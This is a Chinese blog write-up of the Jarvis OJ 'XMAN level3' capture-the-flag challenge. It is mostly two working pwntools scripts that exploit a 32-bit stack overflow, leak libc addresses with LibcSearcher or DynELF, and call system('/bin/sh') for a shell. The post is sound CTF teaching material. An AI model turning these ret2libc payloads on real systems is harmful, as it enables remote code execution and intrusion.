[Jarvis OJ - PWN]——[XMAN]level3

[Jarvis OJ - PWN]——[XMAN]level3

  • 题目地址:https://www.jarvisoj.com/challenges
  • 题目:
    在这里插入图片描述
    先checksec一下,32位程序开启了NX保护。
    在这里插入图片描述
    在IDA看下。第一个函数中,有可以栈溢出利用的函数read。查找发现没有system函数和’/bin/sh’字符串。
    在这里插入图片描述
    在这里插入图片描述

expolit

from pwn import *
from LibcSearcher import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
write_plt=elf.plt["write"]
write_got=elf.got["write"]
read_plt=elf.plt["read"]

payload = 'a'*(0x88 + 0x4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)     # 泄露write的实际地址,并且返回mian函数进行重复调用
p.sendlineafter("Input:\n",payload)
write_addr = u32(p.recv(4))   ##找到write的实际地址

log.success("write_addr: "+hex(write_addr)) 
libc = LibcSearcher('write',write_addr) #选择合适的libc版本,可以都试试如果有两个的话

libc_base=write_addr-libc.dump('write') #找到Libc的基地址
system_addr=libc_base+libc.dump('system') #利用基地址和偏移计算函数地址
bin_sh_addr=libc_base+libc.dump('str_bin_sh')

payload = 'a'*(0x88 + 0x4) + p32(system_addr) + p32(0) + p32(bin_sh_addr)

p.sendlineafter("Input:\n",payload)
p.interactive()

或许你们可能看的其他的DynELF解法,可以自行百度查看用法,不过有点老说实话。

在这里插入图片描述

from pwn import *
p=remote("pwn2.jarvisoj.com",9879)
elf=ELF("level3")
main_addr=0x08048484
pop_pop_pop_ret=0x08048519
plt_write=elf.plt["write"]
#模板百度就可以找到,write和puts的模板不一样。32和64位模板也不一样
def leak(address): 
    p.recvline()
    payload = "a" * (0x88 + 0x4) + p32(plt_write) + p32(main_addr) + p32(1) + p32(address) + p32(4)
    p.send(payload)
    data=p.recv(4)
    print hex(u32(data))
    print "%#x => %s" % (address,(data  or '').encode('hex'))
    return data

d=DynELF(leak,elf=ELF("./level3"))
system_addr=d.lookup('system','libc')

bss_addr=0x0804a027
plt_read=elf.plt["read"]
p.recvline()
#思路找到一块没有被利用内存,将'/bin/sh'写进去。作为参数传给system
payload = "a" * (0x88 + 0x4) + p32(plt_read) + p32(pop_pop_pop_ret) + p32(0) + p32(bss_addr) + p32(8)
payload+=p32(system_addr)+p32(0x77777777)+p32(bss_addr)

p.sendline(payload)
p.sendline("/bin/sh")
p.interactive()

猜你喜欢

转载自blog.csdn.net/Y_peak/article/details/113748164